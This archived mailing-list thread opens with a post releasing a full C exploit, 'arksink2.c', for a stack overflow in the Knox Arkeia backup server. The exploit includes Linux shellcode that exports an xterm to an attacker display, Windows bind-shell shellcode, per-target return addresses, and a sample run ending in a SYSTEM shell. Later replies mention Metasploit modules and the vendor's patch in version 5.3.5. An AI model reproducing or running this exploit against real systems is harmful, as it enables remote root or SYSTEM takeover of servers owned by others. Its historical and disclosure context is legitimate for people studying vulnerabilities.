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  1. #1
    John Doe
    Knox Arkeia remote root/system exploit
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    Thread Starter

    Knox Arkeia remote root/system exploit

    This is a multi-part message in MIME format.

    ------=_NextPart_000_1b04_5ff5_1fc4
    Content-Type: text/plain; format=flowed

    0day cuz i'm bored

    /*
    * Knox Arkeia Server Backup
    * arkeiad local/remote root exploit
    * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
    * Works up to current version 5.3.x
    *
    * ---------------
    *
    * Linux x86:
    * ./arksink2 <arkeia_host> <target_type> <display>
    *
    * Exports an xterm to the box of your choosing. Make sure to "xhost +" on
    * the box you're exporting to.
    *
    * A stack overflow is in the processing of a type 77 request. EIP is
    actually
    * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
    * have to write past EIP and insert a "safe" value. Put this value behind
    your
    * NOP+sc return address so it doesn't mess with the sled.
    *
    * Since the buffer is so small, we initially send an invalid packet that
    ends
    * up on the heap a second before the overflow happens. If it is a high
    traffic
    * Arkeia server the heap might be a bit volatile, so play around with
    putting
    * nops+sc after the overwritten pointer. The heap method avoids non-exec
    stack
    * protection, however.
    *
    * Includes targets for RH8 and RH7.2
    *
    * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
    *[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
    *[*] Attacking LINUX system
    *[*] Exporting xterm to 192.168.1.1:0
    *[*] Connected to 192.168.1.2:617 NOP+shellcode socket
    *[*] Connected to 192.168.1.2:617 overflow socket
    *[*] Sending nops+shellcode
    *[*] Done, sleeping
    *[*] Done, check for xterm
    *
    *
    * ---------------
    *
    * Windows x86:
    * ./prog <host> <target> <offset>
    *
    * Spawns a shell on port 80 of the remote host
    *
    * EIP is overwritten beginning with the 25th byte after the header. Since
    Windows
    * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having
    to
    * write an extra null past EIP. Another advantage here is that we can put
    all our
    * nops and shellcode in the same packet, but after the NULL. They will not
    be copied
    * onto the stack (and therefore not munge the pointer after it) but will
    remain
    * in memory as a raw packet. Fire up ollydbg, search for your nops and
    voila.
    *
    * [user@host user]$ ./arksink2 192.168.1.2 3 0
    *[*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
    *[*] Attacking Windows system
    *[*] Spawning shell on 192.168.1.2:80
    *[*] Connected to 192.168.1.2:617 overflow socket
    *[*] Sending overflow
    *[*] Attempting to get remote shell, try #0
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #1
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #2
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #3
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #4
    *[*] Success, enjoy
    * Microsoft Windows 2000 [Version 5.00.2195]
    * (C) Copyright 1985-2000 Microsoft Corp.
    *
    * C:\WINNT\system32>whoami
    * whoami
    * SYSTEM
    *
    * C:\WINNT\system32>
    *
    *
    * ---------------
    *
    */

    __________________________________________________ _______________
    Is your PC infected? Get a FREE online computer virus scan from McAfee®
    Security. http://clinic.mcafee.com/clinic/ibuy...n.asp?cid=3963

    ------=_NextPart_000_1b04_5ff5_1fc4
    Content-Type: text/x-csrc; name="arksink2.c"
    Content-Transfer-Encoding: 8bit
    Content-Disposition: attachment; filename="arksink2.c"

    /*
    * Knox Arkiea Server Backup
    * arkiead local/remote root exploit
    * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
    * Works up to current version 5.3.x
    *
    * ---------------
    *
    * Linux x86:
    * ./arksink2 <arkeia_host> <target_type> <display>
    *
    * Exports an xterm to the box of your choosing. Make sure to "xhost +" on
    * the box you're exporting to.
    *
    * A stack overflow is in the processing of a type 77 request. EIP is actually
    * overwritten at 64 bytes, but the trailing NULL scrambled a pointer so we
    * have to write past EIP and insert a "safe" value. Put this value behind your
    * NOP+sc return address so it doesn't mess with the sled.
    *
    * Since the buffer is so small, we initially send an invalid packet that ends
    * up on the heap a second before the overflow happens. If it is a high traffic
    * Arkeia server the heap might be a bit volatile, so play around with putting
    * nops+sc after the overwritten pointer. The heap method avoids non-exec stack
    * protection, however.
    *
    * Includes targets for RH8 and RH7.2
    *
    * [user@host user]$ ./prog 192.168.1.2 1 192.168.1.1:0
    *[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit
    *[*] Attacking LINUX system
    *[*] Exporting xterm to 192.168.1.1:0
    *[*] Connected to 192.168.1.2:617 NOP+shellcode socket
    *[*] Connected to 192.168.1.2:617 overflow socket
    *[*] Sending nops+shellcode
    *[*] Done, sleeping
    *[*] Done, check for xterm
    *
    *
    * ---------------
    *
    * Windows x86:
    * ./prog <host> <target> <offset>
    *
    * Spawns a shell on port 80 of the remote host
    *
    * EIP is overwritten beginning with the 25th byte after the header. Since Windows
    * is little endian and has the heap mapped to 0x00XXXXXX we can avoid having to
    * write an extra null past EIP. Another advantage here is that we can put all our
    * nops and shellcode in the same packet, but after the NULL. They will not be copied
    * onto the stack (and therefore not munge the pointer after it) but will remain
    * in memory as a raw packet. Fire up ollydbg, search for your nops and voila.
    *
    * [user@host user]$ ./arksink2 192.168.1.2 3 0
    *[*] Knox Arkeia <= v5.3.x remote SYSTEM exploit
    *[*] Attacking Windows system
    *[*] Spawning shell on 192.168.1.2:80
    *[*] Connected to 192.168.1.2:617 overflow socket
    *[*] Sending overflow
    *[*] Attempting to get remote shell, try #0
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #1
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #2
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #3
    * [!] connect: Resolver Error 0 (no error)
    *[*] Attempting to get remote shell, try #4
    *[*] Success, enjoy
    * Microsoft Windows 2000 [Version 5.00.2195]
    * (C) Copyright 1985-2000 Microsoft Corp.
    *
    * C:\WINNT\system32>whoami
    * whoami
    * SYSTEM
    *
    * C:\WINNT\system32>
    *
    *
    * ---------------
    *
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/errno.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <arpa/nameser.h>

    #define BUFLEN 10000 /* for readshell() */
    #define DATA_LEN 1000 /* overflow packet data section */
    #define HEAD_LEN 8 /* overflow packet header */
    #define NOP_LEN 20000 /* nop+shellcode packet */
    #define ARK_PORT 617 /* port Arkeiad listens on */
    #define SHELL_PORT 80 /* for the windows shellcode */
    #define NOP 0x90 /* Intel x86 */
    #define NUMTARGS 5 /* increase when adding targets */
    #define LINUX 1 /* Linux target type */
    #define WINDOWS 2 /* Windows target type */

    struct {
    char *os;
    unsigned int targret;
    unsigned int targsafe;
    unsigned int len;
    int targtype;
    } targets[] = {
    { "Redhat 8.0", 0x80ecf90, 0x080e0144, 68, LINUX },
    { "Redhat 7.2", 0x80eddc0, 0x080eb940, 68, LINUX },
    { "Windows 2k SP2, SP3, SP4", 0x007d2144, 0xdeadbeef, 28, WINDOWS },
    { "Windows 2003 EE", 0x007b2178, 0xdeadbeef, 28, WINDOWS },
    { "Windows XP SP1", 0x007d20e7, 0xdeadbeef, 28, WINDOWS },
    NULL
    };


    // Linux shellcode exports xterm
    const char shellcode[] =
    "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\ x56\x21\xb2\x2b"
    "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\ xf7\xeb\x2b\x88"
    "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\ x89\x7e\x3a\x8d"
    "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\ x56\x46\x8d\x4e"
    "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
    "\x80\xe8\xac\xff\xff\xff"
    "/usr/X11R6/bin/xterm8-ut8-display8";

    // Windows shellcode binds shell to port 80
    const char shellcode_win[] =
    "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\ xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\ x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\ xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\ xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\ xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\ x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\ xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\ x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\ x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\ x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\ x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\ xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\ xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\ xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\ xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xbf\x62\x1f\x4c\ xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\ xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\ x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\ x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\ x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\ xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\ x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\ x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\ xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\ xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\ xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\ x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\ x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\ x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\ xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2b\xa2\x04" ;


    unsigned int resolve(char *hostname)
    {
    u_long ip = 0;
    struct hostent *hoste;

    if ((int)(ip = inet_addr(hostname)) == -1)
    {
    if ((hoste = gethostbyname(hostname)) == NULL)
    {
    herror("[!] gethostbyname");
    exit(-1);
    }
    memcpy(&ip, hoste->h_addr, hoste->h_length);
    }
    return(ip);
    }


    int isock(char *hostname, int portnum)
    {
    struct sockaddr_in sock_a;
    int num, sock;
    unsigned int ip;
    fd_set input;

    sock_a.sin_family = AF_INET;
    sock_a.sin_port = htons(portnum);
    sock_a.sin_addr.s_addr = resolve(hostname);

    if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
    herror("[!] accept");
    return(-1);
    }

    if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
    {
    herror("[!] connect");
    return(-1);
    }

    return(sock);

    }

    int usage(char *progname)
    {
    int i;

    fprintf(stderr, "Usage:\n%s hostname target_num display (attacking Linux)\n", progname);
    fprintf(stderr, "%s hostname target_num offset (attacking Windows)\n", progname);
    for (i = 0; targets[i].os; i++)
    fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
    fprintf(stderr, "Example: %s 192.168.1.2 1 192.168.1.1:0\n", progname);
    exit(-1);
    }

    int getshell(int sock)
    {

    char buf[BUFLEN];
    int nread=0;

    while(1)
    {
    fd_set input;
    FD_SET(0,&input);
    FD_SET(sock,&input);
    select(sock+1,&input,NULL,NULL,NULL);

    if(FD_ISSET(sock,&input))
    {
    nread=read(sock,buf,BUFLEN);
    write(1,buf,nread);
    }
    if(FD_ISSET(0,&input))
    write(sock,buf,read(0,buf,BUFLEN));
    }
    }

    int lin(char *host, char *export, unsigned int tnum)
    {

    char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff";
    char data[DATA_LEN];
    char sc_req[NOP_LEN*2];
    char *sc;
    unsigned int retaddr;
    unsigned int safe;
    int datalen = 0;
    int port = ARK_PORT;
    int sock_overflow, sock_nops;
    int i;
    int nullmap = 0;

    sock_overflow = sock_nops = 0;

    retaddr = targets[tnum].targret;
    safe = targets[tnum].targsafe;
    datalen = targets[tnum].len;


    sock_nops = isock(host, port);

    if (sock_nops < 1)
    exit(-1);
    fprintf(stderr, "[*] Connected to %s:%d NOP+shellcode socket\n", host, port);

    sock_overflow = isock(host, port);
    if (sock_overflow < 1)
    exit(-1);
    fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

    // build data section of overflow packet
    memset(data, NOP, DATA_LEN);

    // copy in return address
    memcpy(data+datalen - 8, (char *)&retaddr, 4);
    // we overwrite a pointer that must be a valid address
    memcpy(data+datalen-4, (char *)&safe, 4);

    datalen = ntohs(datalen);
    memcpy(head+6, (char *)&datalen, 2);

    // build invalid packet with nops+shellcode
    memset(sc_req, NOP, NOP_LEN+1);
    sc = (char *)malloc(strlen(shellcode) + strlen(export) + 2);
    sprintf(sc, "%s%s%s", shellcode, export, "K");
    if (strlen(sc) + NOP_LEN > NOP_LEN*2-1)
    {
    fprintf(stderr, "[!] display name too long\n");
    exit(-1);
    }

    memcpy(sc_req+NOP_LEN, sc, strlen(sc));

    // send invalid nop+shellcode packet
    fprintf(stderr, "[*] Sending nops+shellcode\n");
    write(sock_nops, sc_req, NOP_LEN+strlen(sc)+1);
    fprintf(stderr, "[*] Done, sleeping\n");
    sleep(1);
    close(sock_nops);

    // send overflow, pointing EIP to above nops+sc
    write(sock_overflow, head, HEAD_LEN); // 8 byte header
    datalen = ntohs(datalen);
    fprintf(stderr, "[*] Sending overflow\n");
    write(sock_overflow, data, datalen); // small overflow packet
    fprintf(stderr, "[*] Done, check for xterm\n");
    close(sock_overflow);

    }

    void windows (char *host, int tnum, int offset)
    {
    char head[] = "\x00\x4d\x00\x03\x00\x01\xff\xff";
    char data[DATA_LEN];
    char sc_req[NOP_LEN*2];
    char *sc;
    char *export;
    unsigned int ret;
    unsigned int safeaddr;
    int overflow_len;
    int datasiz = DATA_LEN;
    int datalen = 0;
    int port = ARK_PORT;
    int sock_overflow, sock_nops, sock_shell;
    int i;


    datalen = targets[tnum].len;
    ret = targets[tnum].targret + offset;
    sock_overflow = isock(host, port);
    if (sock_overflow < 1)
    exit(-1);
    fprintf(stderr, "[*] Connected to %s:%d overflow socket\n", host, port);

    // build data section of overflow packet
    memset(data, NOP, DATA_LEN);
    memcpy(data+datalen - 4, (char *)&ret, 4);
    memcpy(data+DATA_LEN-strlen(shellcode_win)-1, shellcode_win, strlen(shellcode_win));

    // put size into header
    datasiz = ntohs(datasiz);
    memcpy(head+6, (char *)&datasiz, 2);

    fprintf(stderr, "[*] Sending overflow\n");
    write(sock_overflow, head, HEAD_LEN); // 8 byte header
    write(sock_overflow, data, DATA_LEN); // large data section
    close(sock_overflow);

    for (i = 0; i < 20; i++)
    {
    sleep(1);
    fprintf(stderr, "[*] Attempting to get remote shell, try #%d\n", i);
    // connect to shell
    sock_shell = isock(host, SHELL_PORT);
    if (sock_shell > 0)
    {
    fprintf(stderr, "[*] Success, enjoy\n");
    getshell(sock_shell);
    }
    }

    fprintf(stderr, "[!] Exploit failed or cannot connect to port 80\n");
    exit(-1);
    }

    int main( int argc, char **argv)
    {

    /* first 2 bytes are a type 77 request */
    /* last two bytes length */
    char *host;
    char *export;
    unsigned int tnum;
    int datalen = 0;
    int offset = 0;


    if (argc == 4)
    {
    host = argv[1];
    tnum = atoi(argv[2]);

    if (targets[tnum].targtype == LINUX)
    export = argv[3];
    else
    offset=atoi(argv[3]);

    if (tnum > NUMTARGS || tnum == 0)
    {
    fprintf(stderr, "[!] Invalid target\n");
    usage(argv[0]);
    }
    }
    else
    {
    usage(argv[0]);
    }

    tnum--;

    fprintf(stderr, "[*] Knox Arkeia <= v5.3.x remote root/SYSTEM exploit\n");
    fprintf(stderr, "[*] Attacking %s system\n", targets[tnum].os);

    if (targets[tnum].targtype == LINUX )
    {
    fprintf(stderr, "[*] Exporting xterm to %s\n", export);
    lin(host, export, tnum);
    }
    else if (targets[tnum].targtype == WINDOWS)
    {
    fprintf(stderr, "[*] Spawning shell on %s:%d\n", host, SHELL_PORT);
    windows(host, tnum, offset);
    }
    else
    {
    fprintf(stderr, "[!] Unknown target type: %d\n", targets[tnum].targtype);
    exit(-1);
    }

    }


    ------=_NextPart_000_1b04_5ff5_1fc4--

  2. #2
    H D Moore
    Knox Arkeia remote root/system exploit
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Knox Arkeia remote root/system exploit

    The metasploit project has released two exploits for this flaw:
    http://metasploit.com/projects/Frame...a_type77_win32
    http://metasploit.com/projects/Frame...a_type77_macos

    The win32 exploit has targets for every version of Arkeia between 4.2 and
    5.3.3. The macos exploit should work across a large range of versions
    with no modifications. Both of these exploits have the capability to
    dump the remote system information and Arkeia version[1].

    This bug looks difficult or even impossible to exploit on the Solaris
    64bit platform; the main() function calls exit()[2] before the final
    return to the overwritten stack pointer. It may be possible to use one of
    the local variable overwrites to an advantage, but at first glance it
    seems unlikely.

    -HD

    1. There are worse problems here than stack overflows...
    2. It actually calls doexit() which in turn calls exit()

    On Friday 18 February 2005 10:29, John Doe wrote:
    > /*
    > * Knox Arkeia Server Backup
    > * arkeiad local/remote root exploit
    > * Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
    > * Works up to current version 5.3.x
    > [ snip ]
    > */


  3. #3
    Arnaud Spicht
    Knox Arkeia remote root/system exploit
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    Re: Knox Arkeia remote root/system exploit

    In-Reply-To: <BAY22-F8E04A402F7FD7B74F1A849C6E0@phx.gbl>

    >/*
    >* Knox Arkeia Server Backup
    >* arkeiad local/remote root exploit
    >* Targets for Redhat 7.2/8.0, Win2k SP2/SP3/SP4, WinXP SP1, Win 2003 EE
    >* Works up to current version 5.3.x
    >*
    >* ---------------


    The buffer overflow bug has been fixed in version 5.3.5
    This version is available on Arkeia ftp site:
    ftp://ftp.arkeia.com/pub/arkeia5.3/a...network-backup

    Best regards,
    Arnaud Spicht
    CTO - Arkeia Corp

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